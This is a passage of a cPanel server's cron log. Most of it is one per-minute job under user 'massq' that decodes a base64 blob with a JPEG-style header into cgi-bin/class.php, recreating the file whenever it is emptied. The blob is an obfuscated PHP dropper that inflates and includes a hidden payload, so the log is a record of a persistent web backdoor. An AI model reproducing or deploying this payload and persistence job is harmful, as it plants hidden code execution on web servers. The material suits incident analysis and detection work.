&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:55:01 server CROND[9018]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:55:01 server CROND[9021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:56:01 server CROND[9801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:57:01 server CROND[10666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:57:01 server CROND[10667]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 11:58:01 server CROND[11568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:59:01 server CROND[12517]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:00:01 server CROND[13384]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Nov 13 12:00:01 server CROND[13386]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:00:01 server CROND[13387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 12:00:01 server CROND[13388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:00:01 server CROND[13390]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 12:00:01 server CROND[13389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:01:01 server CROND[14347]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 12:01:01 server CROND[14348]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:01:01 server run-parts(/etc/cron.hourly)[14347]: starting 0anacron
Nov 13 12:01:01 server run-parts(/etc/cron.hourly)[14362]: finished 0anacron
Nov 13 12:02:01 server CROND[15220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:03:01 server CROND[16023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:04:01 server CROND[16966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:05:01 server CROND[17947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 12:05:01 server CROND[17948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:05:01 server CROND[17949]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:05:01 server CROND[17950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:06:01 server CROND[18911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:07:01 server CROND[19784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
